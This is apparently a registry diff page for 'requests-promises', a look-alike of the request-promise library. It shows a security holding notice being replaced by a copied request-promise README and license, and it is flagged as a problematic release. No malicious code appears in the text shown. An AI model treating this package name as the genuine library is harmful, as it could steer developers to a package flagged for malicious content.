requests-promises 0.0.1-security → 4.2.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of requests-promises might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,15 @@
1
+ ISC License
2
+
3
+ Copyright (c) 2020, Nicolai Kamenzky, Ty Abonil, and contributors
4
+
5
+ Permission to use, copy, modify, and/or distribute this software for any
6
+ purpose with or without fee is hereby granted, provided that the above
7
+ copyright notice and this permission notice appear in all copies.
8
+
9
+ THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
10
+ WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
11
+ MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
12
+ ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
13
+ WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
14
+ ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
15
+ OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,762 @@
1
- # Security holding package
1
+ <a href="http://promisesaplus.com/">
2
+ <img src="https://promises-aplus.github.io/promises-spec/assets/logo-small.png" align="right" alt="Promises/A+ logo" />
3
+ </a>
2
4
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
5
+ # Requests-Promises
4
6
 
5
- Please refer to www.npmjs.com/advisories?search=requests-promises for more information.
7
+ [![Gitter](https://img.shields.io/badge/gitter-join_chat-blue.svg?style=flat-square&maxAge=2592000)](https://gitter.im/request/request-promise?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
8
+ [![Build Status](https://img.shields.io/travis/request/request-promise/master.svg?style=flat-square&maxAge=2592000)](https://travis-ci.org/request/request-promise)
9
+ [![Coverage Status](https://img.shields.io/coveralls/request/request-promise.svg?style=flat-square&maxAge=2592000)](https://coveralls.io/r/request/request-promise)
10
+ [![Dependency Status](https://img.shields.io/david/request/request-promise.svg?style=flat-square&maxAge=2592000)](https://david-dm.org/request/request-promise)
11
+ [![Known Vulnerabilities](https://snyk.io/test/npm/request-promise/badge.svg?style=flat-square&maxAge=2592000)](https://snyk.io/test/npm/request-promise)
12
+
13
+ # Deprecated!
14
+
15
+ As of Feb 11th 2020, [`request`](https://github.com/request/request) is fully deprecated. No new changes are expected to land. In fact, none have landed for some time. This package is also deprecated because it depends on `request`.
16
+
17
+ Fyi, here is the [reasoning of `request`'s deprecation](https://github.com/request/request/issues/3142) and a [list of alternative libraries](https://github.com/request/request/issues/3143).
18
+
19
+ ---
20
+
21
+ The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.
22
+
23
+ [Request](https://github.com/request/request) and [Bluebird](https://github.com/petkaantonov/bluebird) are pretty awesome, but I found myself using the same design pattern. Request-Promise adds a Bluebird-powered `.then(...)` method to Request call objects. By default, http response codes other than 2xx will cause the promise to be rejected. This can be overwritten by setting `options.simple = false`.
24
+
25
+ Also check out the new libraries that are **very similar to `request-promise` v4**:
26
+ - [`request-promise-native`](https://github.com/request/request-promise-native) v1 &ndash; Does not depend on Bluebird and uses native ES6 promises instead.
27
+ - [`request-promise-any`](https://github.com/request/request-promise-any) v1 &ndash; Allows you to register any Promise library supported by [`any-promise`](https://www.npmjs.com/package/any-promise).
28
+
29
+ ---
30
+
31
+ ## Migration from v3 to v4
32
+
33
+ 1. `request` became a peer dependency. Thus make sure that `request` is installed into your project as a direct dependency. (`npm install --save request`)
34
+ 2. Continuation Local Storage is no longer supported. However, you [can get back the support](https://github.com/request/request-promise/wiki/Getting-Back-Support-for-Continuation-Local-Storage) by using `request-promise-any`.
35
+ 3. When you migrated your `transform` function to v3 and had to add `if (!(/^2/.test('' + response.statusCode))) { return resolveWithFullResponse ? response : body; }` you may now set the option `transform2xxOnly = true` instead.
36
+
37
+ ## Migration from v2 to v3
38
+
39
+ 1. The handling of the `transform` function got overhauled. This has two effects:
40
+ - `StatusCodeError.response` is the transformed instead of the original response now. This error is thrown for non-2xx responses when `options.simple` is `true` (default). Please update your `transform` functions to also cover the transformation of non-2xx responses. To get the old behavior you may add `if (!(/^2/.test('' + response.statusCode))) { return resolveWithFullResponse ? response : body; }` to the first line of your `transform` functions that are used for requests with `options.simple === true`. However, you may prefer updating your `transform` functions to being able to transform 2xx as well as non-2xx responses because this decouples their implementation from the use of the `simple` option when doing requests.
41
+ - If a transform operation throws an error, the request will be rejected with a `TransformError`. Its `cause` attribute contains the error thrown by the transform operation. Previously, the request was rejected directly with the error thrown by the transform operation. Wrapping it into a `TransformError` makes the error handling easier.
42
+
43
+ 2. Bluebird got updated from v2 to v3. This won't make a difference for most use cases. However, if you use advanced Promise chains starting with the Promise returned by Request-Promise, please check [Bluebird's new features and changes](http://bluebirdjs.com/docs/new-in-bluebird-3.html).
44
+
45
+ ---
46
+
47
+ ## Installation
48
+
49
+ This module is installed via npm:
50
+
51
+ ```
52
+ npm install --save request
53
+ npm install --save request-promise
54
+ ```
55
+
56
+ `request` is defined as a peer-dependency and thus has to be installed separately.
57
+
58
+ ## Cheat Sheet
59
+
60
+ ``` js
61
+ var rp = require('request-promise');
62
+ ```
63
+
64
+ Since `request-promise` wraps around `request` everything that works with `request` also works with `request-promise`. Also check out the [`request` docs](https://github.com/request/request) for more examples.
65
+
66
+ ### Crawl a webpage
67
+
68
+ ``` js
69
+ rp('http://www.google.com')
70
+ .then(function (htmlString) {
71
+ // Process html...
72
+ })
73
+ .catch(function (err) {
74
+ // Crawling failed...
75
+ });
76
+ ```
77
+
78
+ ### Crawl a webpage better
79
+
80
+ ``` js
81
+ var cheerio = require('cheerio'); // Basically jQuery for node.js
82
+
83
+ var options = {
84
+ uri: 'http://www.google.com',
85
+ transform: function (body) {
86
+ return cheerio.load(body);
87
+ }
88
+ };
89
+
90
+ rp(options)
91
+ .then(function ($) {
92
+ // Process html like you would with jQuery...
93
+ })
94
+ .catch(function (err) {
95
+ // Crawling failed or Cheerio choked...
96
+ });
97
+ ```
98
+
99
+ ### GET something from a JSON REST API
100
+
101
+ ``` js
102
+ var options = {
103
+ uri: 'https://api.github.com/user/repos',
104
+ qs: {
105
+ access_token: 'xxxxx xxxxx' // -> uri + '?access_token=xxxxx%20xxxxx'
106
+ },
107
+ headers: {
108
+ 'User-Agent': 'Request-Promise'
109
+ },
110
+ json: true // Automatically parses the JSON string in the response
111
+ };
112
+
113
+ rp(options)
114
+ .then(function (repos) {
115
+ console.log('User has %d repos', repos.length);
116
+ })
117
+ .catch(function (err) {
118
+ // API call failed...
119
+ });
120
+ ```
121
+
122
+ ### POST data to a JSON REST API
123
+
124
+ Set `option.body` to your data and `json: true` to encode the body as JSON. See below for HTML forms.
125
+
126
+ ``` js
127
+ var options = {
128
+ method: 'POST',
129
+ uri: 'http://api.posttestserver.com/post',
130
+ body: {
131
+ some: 'payload'
132
+ },
133
+ json: true // Automatically stringifies the body to JSON
134
+ };
135
+
136
+ rp(options)
137
+ .then(function (parsedBody) {
138
+ // POST succeeded...
139
+ })
140
+ .catch(function (err) {
141
+ // POST failed...
142
+ });
143
+ ```
144
+
145
+ ### POST like HTML forms do
146
+
147
+ Pass your data to `options.form` to encode the body the same way as HTML forms do:
148
+
149
+ ``` js
150
+ var options = {
151
+ method: 'POST',
152
+ uri: 'http://posttestserver.com/post.php',
153
+ form: {
154
+ // Like <input type="text" name="name">
155
+ name: 'Josh'
156
+ },
157
+ headers: {
158
+ /* 'content-type': 'application/x-www-form-urlencoded' */ // Is set automatically
159
+ }
160
+ };
161
+
162
+ rp(options)
163
+ .then(function (body) {
164
+ // POST succeeded...
165
+ })
166
+ .catch(function (err) {
167
+ // POST failed...
168
+ });
169
+ ```
170
+
171
+ If you want to include a file upload then use `options.formData`:
172
+
173
+ ``` js
174
+ var options = {
175
+ method: 'POST',
176
+ uri: 'http://posttestserver.com/post.php',
177
+ formData: {
178
+ // Like <input type="text" name="name">
179
+ name: 'Jenn',
180
+ // Like <input type="file" name="file">
181
+ file: {
182
+ value: fs.createReadStream('test/test.jpg'),
183
+ options: {
184
+ filename: 'test.jpg',
185
+ contentType: 'image/jpg'
186
+ }
187
+ }
188
+ },
189
+ headers: {
190
+ /* 'content-type': 'multipart/form-data' */ // Is set automatically
191
+ }
192
+ };
193
+
194
+ rp(options)
195
+ .then(function (body) {
196
+ // POST succeeded...
197
+ })
198
+ .catch(function (err) {
199
+ // POST failed...
200
+ });
201
+ ```
202
+
203
+ ### Include a cookie
204
+
205
+ ``` js
206
+ var tough = require('tough-cookie');
207
+
208
+ // Easy creation of the cookie - see tough-cookie docs for details
209
+ let cookie = new tough.Cookie({
210
+ key: "some_key",
211
+ value: "some_value",
212
+ domain: 'api.mydomain.com',
213
+ httpOnly: true,
214
+ maxAge: 31536000
215
+ });
216
+
217
+ // Put cookie in an jar which can be used across multiple requests
218
+ var cookiejar = rp.jar();
219
+ cookiejar.setCookie(cookie, 'https://api.mydomain.com');
220
+ // ...all requests to https://api.mydomain.com will include the cookie
221
+
222
+ var options = {
223
+ uri: 'https://api.mydomain.com/...',
224
+ jar: cookiejar // Tells rp to include cookies in jar that match uri
225
+ };
226
+
227
+ rp(options)
228
+ .then(function (body) {
229
+ // Request succeeded...
230
+ })
231
+ .catch(function (err) {
232
+ // Request failed...
233
+ });
234
+ ```
235
+
236
+ ### Get the full response instead of just the body
237
+
238
+ ``` js
239
+ var options = {
240
+ method: 'DELETE',
241
+ uri: 'http://my-server/path/to/resource/1234',
242
+ resolveWithFullResponse: true // <--- <--- <--- <---
243
+ };
244
+
245
+ rp(options)
246
+ .then(function (response) {
247
+ console.log("DELETE succeeded with status %d", response.statusCode);
248
+ })
249
+ .catch(function (err) {
250
+ // Delete failed...
251
+ });
252
+ ```
253
+
254
+ ### Get a rejection only if the request failed for technical reasons
255
+
256
+ ``` js
257
+ var options = {
258
+ uri: 'http://www.google.com/this-page-does-not-exist.html',
259
+ simple: false // <--- <--- <--- <---
260
+ };
261
+
262
+ rp(options)
263
+ .then(function (body) {
264
+ // Request succeeded but might as well be a 404
265
+ // Usually combined with resolveWithFullResponse = true to check response.statusCode
266
+ })
267
+ .catch(function (err) {
268
+ // Request failed due to technical reasons...
269
+ });
270
+ ```
271
+
272
+ ---
273
+
274
+ **For more options checkout the [Request docs](https://github.com/request/request#requestoptions-callback).**
275
+
276
+ ---
277
+
278
+ ## API in Detail
279
+
280
+ Consider Request-Promise being:
281
+
282
+ - A Request object
283
+ - With an [identical API](https://github.com/request/request): `require('request-promise') == require('request')` so to say
284
+ - However, **STREAMING THE RESPONSE** (e.g. `.pipe(...)`) is **DISCOURAGED** because Request-Promise would grow the memory footprint for large requests unnecessarily high. Use the original Request library for that. You can use both libraries in the same project.
285
+ - Plus some methods on a request call object:
286
+ - `rp(...).then(...)` or e.g. `rp.post(...).then(...)` which turn `rp(...)` and `rp.post(...)` into promises
287
+ - `rp(...).catch(...)` or e.g. `rp.del(...).catch(...)` which is the same method as provided by Bluebird promises
288
+ - Errors that the `request` library would pass to the callback are wrapped by `request-promise` and then passed to the catch handler. See [code example](https://github.com/request/request-promise#thenonfulfilled-onrejected) below.
289
+ - `rp(...).finally(...)` or e.g. `rp.put(...).finally(...)` which is the same method as provided by Bluebird promises
290
+ - `rp(...).cancel()` or e.g. `rp.get(...).cancel()` which cancels the request
291
+ - `rp(...).promise()` or e.g. `rp.head(...).promise()` which returns the underlying promise so you can access the full [Bluebird API](https://github.com/petkaantonov/bluebird/blob/master/API.md)
292
+ - Plus some additional options:
293
+ - `simple = true` which is a boolean to set whether status codes other than 2xx should also reject the promise
294
+ - `resolveWithFullResponse = false` which is a boolean to set whether the promise should be resolved with the full response or just the response body
295
+ - `transform` which takes a function to transform the response into a custom value with which the promise is resolved
296
+ - `transform2xxOnly = false` which is a boolean to set whether the transform function is applied to all responses or only to those with a 2xx status code
297
+
298
+ The objects returned by request calls like `rp(...)` or e.g. `rp.post(...)` are regular Promises/A+ compliant promises and can be assimilated by any compatible promise library.
299
+
300
+ The methods `.then(...)`, `.catch(...)`, and `.finally(...)` - which you can call on the request call objects - return a full-fledged Bluebird promise. That means you have the full [Bluebird API](https://github.com/petkaantonov/bluebird/blob/master/API.md) available for further chaining. E.g.: `rp(...).then(...).spread(...)` If, however, you need a method other than `.then(...)`, `.catch(...)`, or `.finally(...)` to be **FIRST** in the chain, use `.promise()`: `rp(...).promise().bind(...).then(...)`
301
+
302
+ ### .then(onFulfilled, onRejected)
303
+
304
+ ``` js
305
+ // As a Request user you would write:
306
+ var request = require('request');
307
+
308
+ request('http://google.com', function (err, response, body) {
309
+ if (err) {
310
+ handleError({ error: err, response: response, ... });
311
+ } else if (!(/^2/.test('' + response.statusCode))) { // Status Codes other than 2xx
312
+ handleError({ error: body, response: response, ... });
313
+ } else {
314
+ process(body);
315
+ }
316
+ });
317
+
318
+ // As a Request-Promise user you can now write the equivalent code:
319
+ var rp = require('request-promise');
320
+
321
+ rp('http://google.com')
322
+ .then(process, handleError);
323
+ ```
324
+
325
+ ``` js
326
+ // The same is available for all http method shortcuts:
327
+ request.post('http://example.com/api', function (err, response, body) { ... });
328
+ rp.post('http://example.com/api').then(...);
329
+ ```
330
+
331
+ ### .catch(onRejected)
332
+
333
+ ``` js
334
+ rp('http://google.com')
335
+ .catch(handleError);
336
+
337
+ // ... is syntactical sugar for:
338
+
339
+ rp('http://google.com')
340
+ .then(null, handleError);
341
+
342
+
343
+ // However, this:
344
+ rp('http://google.com')
345
+ .then(process)
346
+ .catch(handleError);
347
+
348
+ // ... is safer than:
349
+ rp('http://google.com')
350
+ .then(process, handleError);
351
+ ```
352
+
353
+ For more info on `.then(process).catch(handleError)` versus `.then(process, handleError)`, see Bluebird docs on [promise anti-patterns](http://bluebirdjs.com/docs/anti-patterns.html#the-.then).
354
+
355
+ ### .finally(onFinished)
356
+
357
+ ``` js
358
+ rp('http://google.com')
359
+ .finally(function () {
360
+ // This is called after the request finishes either successful or not successful.
361
+ });
362
+ ```
363
+
364
+ ### .cancel()
365
+
366
+ This method cancels the request using [Bluebird's cancellation feature](http://bluebirdjs.com/docs/api/cancellation.html).
367
+
368
+ When `.cancel()` is called:
369
+
370
+ - the promise will neither be resolved nor rejected and
371
+ - the request is [aborted](https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_request_abort).
372
+
373
+ ### .promise() - For advanced use cases
374
+
375
+ In order to not pollute the Request call objects with the methods of the underlying Bluebird promise, only `.then(...)`, `.catch(...)`, and `.finally(...)` were exposed to cover most use cases. The effect is that any methods of a Bluebird promise other than `.then(...)`, `.catch(...)`, or `.finally(...)` cannot be used as the **FIRST** method in the promise chain:
376
+
377
+ ``` js
378
+ // This works:
379
+ rp('http://google.com').then(function () { ... });
380
+ rp('http://google.com').catch(function () { ... });
381
+
382
+ // This works as well since additional methods are only used AFTER the FIRST call in the chain:
383
+ rp('http://google.com').then(function () { ... }).spread(function () { ... });
384
+ rp('http://google.com').catch(function () { ... }).error(function () { ... });
385
+
386
+ // Using additional methods as the FIRST call in the chain does not work:
387
+ // rp('http://google.com').bind(this).then(function () { ... });
388
+
389
+ // Use .promise() in these cases:
390
+ rp('http://google.com').promise().bind(this).then(function () { ... });
391
+ ```
392
+
393
+ ### Fulfilled promises and the `resolveWithFullResponse` option
394
+
395
+ ``` js
396
+ // Per default the body is passed to the fulfillment handler:
397
+ rp('http://google.com')
398
+ .then(function (body) {
399
+ // Process the html of the Google web page...
400
+ });
401
+
402
+ // The resolveWithFullResponse options allows to pass the full response:
403
+ rp({ uri: 'http://google.com', resolveWithFullResponse: true })
404
+ .then(function (response) {
405
+ // Access response.statusCode, response.body etc.
406
+ });
407
+
408
+ ```
409
+
410
+ ### Rejected promises and the `simple` option
411
+
412
+ ``` js
413
+ // The rejection handler is called with a reason object...
414
+ rp('http://google.com')
415
+ .catch(function (reason) {
416
+ // Handle failed request...
417
+ });
418
+
419
+ // ... and would be equivalent to this Request-only implementation:
420
+ var options = { uri: 'http://google.com' };
421
+
422
+ request(options, function (err, response, body) {
423
+ var reason;
424
+ if (err) {
425
+ reason = {
426
+ cause: err,
427
+ error: err,
428
+ options: options,
429
+ response: response
430
+ };
431
+ } else if (!(/^2/.test('' + response.statusCode))) { // Status Codes other than 2xx
432
+ reason = {
433
+ statusCode: response.statusCode,
434
+ error: body,
435
+ options: options,
436
+ response: response
437
+ };
438
+ }
439
+
440
+ if (reason) {
441
+ // Handle failed request...
442
+ }
443
+ });
444
+
445
+
446
+ // If you pass the simple option as false...
447
+ rp({ uri: 'http://google.com', simple: false })
448
+ .catch(function (reason) {
449
+ // Handle failed request...
450
+ });
451
+
452
+ // ... the equivalent Request-only code would be:
453
+ request(options, function (err, response, body) {
454
+ if (err) {
455
+ var reason = {
456
+ cause: err,
457
+ error: err,
458
+ options: options,
459
+ response: response
460
+ };
461
+ // Handle failed request...
462
+ }
463
+ });
464
+ // E.g. a 404 would now fulfill the promise.
465
+ // Combine it with resolveWithFullResponse = true to check the status code in the fulfillment handler.
466
+ ```
467
+
468
+ With version 0.4 the reason objects became Error objects with identical properties to ensure backwards compatibility. These new Error types allow targeted catch blocks:
469
+
470
+ ``` js
471
+ var errors = require('request-promise/errors');
472
+
473
+ rp('http://google.com')
474
+ .catch(errors.StatusCodeError, function (reason) {
475
+ // The server responded with a status codes other than 2xx.
476
+ // Check reason.statusCode
477
+ })
478
+ .catch(errors.RequestError, function (reason) {
479
+ // The request failed due to technical reasons.
480
+ // reason.cause is the Error object Request would pass into a callback.
481
+ });
482
+ ```
483
+
484
+ ### The `transform` function
485
+
486
+ You can pass a function to `options.transform` to generate a custom fulfillment value when the promise gets resolved.
487
+
488
+ ``` js
489
+ // Just for fun you could reverse the response body:
490
+ var options = {
491
+ uri: 'http://google.com',
492
+ transform: function (body, response, resolveWithFullResponse) {
493
+ return body.split('').reverse().join('');
494
+ }
495
+ };
496
+
497
+ rp(options)
498
+ .then(function (reversedBody) {
499
+ // ;D
500
+ });
501
+
502
+
503
+ // However, you could also do something useful:
504
+ var $ = require('cheerio'); // Basically jQuery for node.js
505
+
506
+ function autoParse(body, response, resolveWithFullResponse) {
507
+ // FIXME: The content type string could contain additional values like the charset.
508
+ // Consider using the `content-type` library for a robust comparison.
509
+ if (response.headers['content-type'] === 'application/json') {
510
+ return JSON.parse(body);
511
+ } else if (response.headers['content-type'] === 'text/html') {
512
+ return $.load(body);
513
+ } else {
514
+ return body;
515
+ }
516
+ }
517
+
518
+ options.transform = autoParse;
519
+
520
+ rp(options)
521
+ .then(function (autoParsedBody) {
522
+ // :)
523
+ });
524
+
525
+
526
+ // You can go one step further and set the transform as the default:
527
+ var rpap = rp.defaults({ transform: autoParse });
528
+
529
+ rpap('http://google.com')
530
+ .then(function (autoParsedBody) {
531
+ // :)
532
+ });
533
+
534
+ rpap('http://echojs.com')
535
+ .then(function (autoParsedBody) {
536
+ // =)
537
+ });
538
+ ```
539
+
540
+ The third `resolveWithFullResponse` parameter of the transform function is equivalent to the option passed with the request. This allows to distinguish whether just the transformed body or the whole response shall be returned by the transform function:
541
+
542
+ ``` js
543
+ function reverseBody(body, response, resolveWithFullResponse) {
544
+ response.body = response.body.split('').reverse().join('');
545
+ return resolveWithFullResponse ? response : response.body;
546
+ }
547
+ ```
548
+
549
+ As of Request-Promise v3 the transform function is ALWAYS executed for non-2xx responses. When `options.simple` is set to `true` (default) then non-2xx responses are rejected with a `StatusCodeError`. In this case the error contains the transformed response:
550
+
551
+ ``` js
552
+ var options = {
553
+ uri: 'http://the-server.com/will-return/404',
554
+ simple: true,
555
+ transform: function (body, response, resolveWithFullResponse) { /* ... */ }
556
+ };
557
+
558
+ rp(options)
559
+ .catch(errors.StatusCodeError, function (reason) {
560
+ // reason.response is the transformed response
561
+ });
562
+ ```
563
+
564
+ You may set `options.transform2xxOnly = true` to only execute the transform function for responses with a 2xx status code. For other status codes &ndash; independent of any other settings, e.g. `options.simple` &ndash; the transform function is not executed.
565
+
566
+ #### Error handling
567
+
568
+ If the transform operation fails (throws an error) the request will be rejected with a `TransformError`:
569
+
570
+ ``` js
571
+ var errors = require('request-promise/errors');
572
+
573
+ var options = {
574
+ uri: 'http://google.com',
575
+ transform: function (body, response, resolveWithFullResponse) {
576
+ throw new Error('Transform failed!');
577
+ }
578
+ };
579
+
580
+ rp(options)
581
+ .catch(errors.TransformError, function (reason) {
582
+ console.log(reason.cause.message); // => Transform failed!
583
+ // reason.response is the original response for which the transform operation failed
584
+ });
585
+ ```
586
+
587
+ ## Experimental Support for Continuation Local Storage
588
+
589
+ Continuation Local Storage is no longer supported. However, you [can get back the support](https://github.com/request/request-promise/wiki/Getting-Back-Support-for-Continuation-Local-Storage) by using `request-promise-any`.
590
+
591
+ ## Debugging
592
+
593
+ The ways to debug the operation of Request-Promise are the same [as described](https://github.com/request/request#debugging) for Request. These are:
594
+
595
+ 1. Launch the node process like `NODE_DEBUG=request node script.js` (`lib,request,otherlib` works too).
596
+ 2. Set `require('request-promise').debug = true` at any time (this does the same thing as #1).
597
+ 3. Use the [request-debug module](https://github.com/nylen/request-debug) to view request and response headers and bodies. Instrument Request-Promise with `require('request-debug')(rp);`.
598
+
599
+ ## Mocking Request-Promise
600
+
601
+ Usually you want to mock the whole request function which is returned by `require('request-promise')`. This is not possible by using a mocking library like [sinon.js](http://sinonjs.org) alone. What you need is a library that ties into the module loader and makes sure that your mock is returned whenever the tested code is calling `require('request-promise')`. [Mockery](https://github.com/mfncooper/mockery) is one of such libraries.
602
+
603
+ @florianschmidt1994 kindly shared his solution:
604
+ ```javascript
605
+ before(function (done) {
606
+
607
+ var filename = "fileForResponse";
608
+ mockery.enable({
609
+ warnOnReplace: false,
610
+ warnOnUnregistered: false,
611
+ useCleanCache: true
612
+ });
613
+
614
+ mockery.registerMock('request-promise', function () {
615
+ var response = fs.readFileSync(__dirname + '/data/' + filename, 'utf8');
616
+ return Bluebird.resolve(response.trim());
617
+ });
618
+
619
+ done();
620
+ });
621
+
622
+ after(function (done) {
623
+ mockery.disable();
624
+ mockery.deregisterAll();
625
+ done();
626
+ });
627
+
628
+ describe('custom test case', function () {
629
+ // Test some function/module/... which uses request-promise
630
+ // and it will always receive the predefined "fileForResponse" as data, e.g.:
631
+ var rp = require('request-promise');
632
+ rp(...).then(function(data) {
633
+ // ➞ data is what is in fileForResponse
634
+ });
635
+ });
636
+ ```
637
+
638
+ Based on that you may now build a more sophisticated mock. [Sinon.js](http://sinonjs.org) may be of help as well.
639
+
640
+ ## Contributing
641
+
642
+ To set up your development environment:
643
+
644
+ 1. clone the repo to your desktop,
645
+ 2. in the shell `cd` to the main folder,
646
+ 3. hit `npm install`,
647
+ 4. hit `npm install gulp -g` if you haven't installed gulp globally yet, and
648
+ 5. run `gulp dev`. (Or run `node ./node_modules/.bin/gulp dev` if you don't want to install gulp globally.)
649
+
650
+ `gulp dev` watches all source files and if you save some changes it will lint the code and execute all tests. The test coverage report can be viewed from `./coverage/lcov-report/index.html`.
651
+
652
+ If you want to debug a test you should use `gulp test-without-coverage` to run all tests without obscuring the code by the test coverage instrumentation.
653
+
654
+ ## Change History
655
+
656
+ - v4.2.6 (2020-07-21)
657
+ - Security fix: bumped `request-promise-core` which bumps `lodash` to `^4.17.19` following [this advisory](https://www.npmjs.com/advisories/1523).
658
+ - v4.2.5 (2019-11-03)
659
+ - Security fix: bumped `request-promise-core` which bumps `lodash` to `^4.17.15`. See [vulnerabilty reports](https://snyk.io/vuln/search?q=lodash&type=npm).
660
+ *(Thanks to @rishabh-chowdhary for reporting this in pull request [#326](https://github.com/request/request-promise/pull/326).)*
661
+ - v4.2.4 (2019-02-14)
662
+ - Corrected mistakenly set `tough-cookie` version, now `^2.3.3`
663
+ *(Thanks to @evocateur for pointing this out.)*
664
+ - If you installed `request-promise@4.2.3` please make sure after the upgrade that `request` and `request-promise` use the same physical copy of `tough-cookie`.
665
+ - v4.2.3 (2019-02-14)
666
+ - Using stricter `tough-cookie@~2.3.3` to avoid installing `tough-cookie@3` which introduces breaking changes
667
+ *(Thanks to @aomdoa for pull request [#299](https://github.com/request/request-promise/pull/299))*
668
+ - Security fix: bumped `lodash` to `^4.17.11`, see [vulnerabilty reports](https://snyk.io/vuln/search?q=lodash&type=npm)
669
+ - v4.2.2 (2017-09-22)
670
+ - Upgraded `tough-cookie` to a version without regex DoS vulnerability
671
+ *(Thanks to @rouanw for [pull request #226](https://github.com/request/request-promise/pull/226))*
672
+ - v4.2.1 (2017-05-07)
673
+ - Fix that allows to use `tough-cookie` for cookie creation
674
+ *(Thanks to @ScottyMJacobson for reporting [issue #183](https://github.com/request/request-promise/issues/183))*
675
+ - Added [cookie handling example](https://github.com/request/request-promise#include-a-cookie) to the cheat sheet
676
+ *(Thanks to @chovy and @ProfessorTom for [asking for it](https://github.com/request/request-promise/issues/79))*
677
+ - v4.2.0 (2017-03-16)
678
+ - Updated `bluebird` to v3.5
679
+ *(Thanks to @acinader for [pull request #181](https://github.com/request/request-promise/pull/181))*
680
+ - v4.1.1 (2016-08-08)
681
+ - Renamed internally used package `@request/promise-core` to `request-promise-core` because there where [too](https://github.com/request/request-promise/issues/137) [many](https://github.com/request/request-promise/issues/141) issues with the scoped package name
682
+ *(Thanks to @cabrinoob, @crazy4groovy, @dsandor, @KpjComp, @lorenwest, @Reisyukaku, @tehChromic, @todd for providing helpful information.)*
683
+ - v4.1.0 (2016-07-30)
684
+ - Added cancellation support
685
+ *(Thanks to @not-an-aardvark for [pull request #123](https://github.com/request/request-promise/pull/123))*
686
+ - v4.0.2 (2016-07-18)
687
+ - Fix for using with module bundlers like Webpack and Browserify
688
+ - v4.0.1 (2016-07-17)
689
+ - Fixed `@request/promise-core` version for safer versioning
690
+ - v4.0.0 (2016-07-15)
691
+ - **Breaking Change**: `request` is declared as a peer dependency which has to be installed separately by the user now
692
+ - **Breaking Change**: Dropped support for Continuation Local Storage since [`request-promise-any`](https://github.com/request/request-promise-any) can be [used](https://github.com/request/request-promise/wiki/Getting-Back-Support-for-Continuation-Local-Storage) for that now
693
+ - Introduced the `transform2xxOnly` option to ease the breaking change regarding the new `transform` handling in v3.0.0
694
+ *(Thanks to @stevage for pointing out the effect of the breaking change in [issue #131](https://github.com/request/request-promise/issues/131))*
695
+ - Resolved issues [#65](https://github.com/request/request-promise/issues/65) and [#71](https://github.com/request/request-promise/issues/71) by publishing nearly identical libraries to support other Promise implementations: [`request-promise-native`](https://github.com/request/request-promise-native) and [`request-promise-any`](https://github.com/request/request-promise-any)
696
+ *(Thanks to @benjamingr, @eilgin, @gillesdemey, @hildjj, @iggycoloma, @jonathanong, @knpwrs, @MarkHerhold, @massimocode, @mikeal, @niftylettuce, @raitucarp, @sherdeadlock, @tonylukasavage, and @vgoloviznin for the valuable discussions!)*
697
+ - Relicensed this library with the ISC license
698
+ - v3.0.0 (2016-04-16)
699
+ - **Breaking Change**: Overhauled the handling of the `transform` function
700
+ *(Thanks to @Limess for explaining the need in [issue #86](https://github.com/request/request-promise/issues/86))*
701
+ - **Breaking Change**: Updated `bluebird` to v3
702
+ *(Thanks to @BrandonSmith for [pull request #103](https://github.com/request/request-promise/pull/103))*
703
+ - Improved `StatusCodeError.message`
704
+ - Updated `lodash` to v4.6
705
+ - Improved README in regard to `.catch(...)` best practice
706
+ *(Thanks to @RebootJeff for [pull request #98](https://github.com/request/request-promise/pull/98))*
707
+ - v2.0.1 (2016-02-17)
708
+ - Updated `lodash` to v4
709
+ *(Thanks to @ratson for [pull request #94](https://github.com/request/request-promise/pull/94))*
710
+ - v2.0.0 (2016-01-12)
711
+ - **Breaking Change**: Removed explicit `cls-bluebird` dependency which has to be installed by the user now
712
+ *(Thanks to @hildjj for his [pull request #75](https://github.com/request/request-promise/pull/75))*
713
+ - `npm shrinkwrap` now works for `npm@3` users who don't use `continuation-local-storage`
714
+ *(Thanks to @toboid and @rstacruz for reporting the issue in [issue #70](https://github.com/request/request-promise/issues/70) and [issue #82](https://github.com/request/request-promise/issues/82))*
715
+ - v1.0.2 (2015-10-22)
716
+ - Removed `continuation-local-storage` from peer dependencies as it was unnecessary
717
+ *(Thanks to @mrhyde for working on a better solution discussed in [issue #70](https://github.com/request/request-promise/issues/70))*
718
+ - v1.0.1 (2015-10-14)
719
+ - Fixed a npm warning by marking `continuation-local-storage` as a peer dependency
720
+ - v1.0.0 (2015-10-11)
721
+ - **Breaking Change**: Some errors that were previously thrown synchronously - e.g. for wrong input parameters - are now passed to the rejected promise instead
722
+ *(Thanks to @josnidhin for suggesting that in [issue #43](https://github.com/request/request-promise/issues/43))*
723
+ - **Breaking Change**: Request-Promise does not load its own Bluebird prototype anymore. If you use Bluebird in your project and altered the prototype then Request-Promise may use your altered Bluebird prototype internally.
724
+ - For HEAD requests the headers instead of an empty body is returned (unless `resolveWithFullResponse = true` is used)
725
+ *(Thanks to @zcei for proposing the change in [issue #58](https://github.com/request/request-promise/issues/58))*
726
+ - Extended `transform` function by a third `resolveWithFullResponse` parameter
727
+ - Added experimental support for continuation local storage
728
+ *(Thanks to @silverbp preparing this in [issue #64](https://github.com/request/request-promise/issues/64))*
729
+ - Added node.js 4 to the Travis CI build
730
+ - Updated the README
731
+ *(Thanks to many people for their feedback in issues [#55](https://github.com/request/request-promise/issues/55) and [#59](https://github.com/request/request-promise/issues/59))*
732
+ - v0.4.3 (2015-07-27)
733
+ - Reduced overhead by just requiring used lodash functions instead of the whole lodash library
734
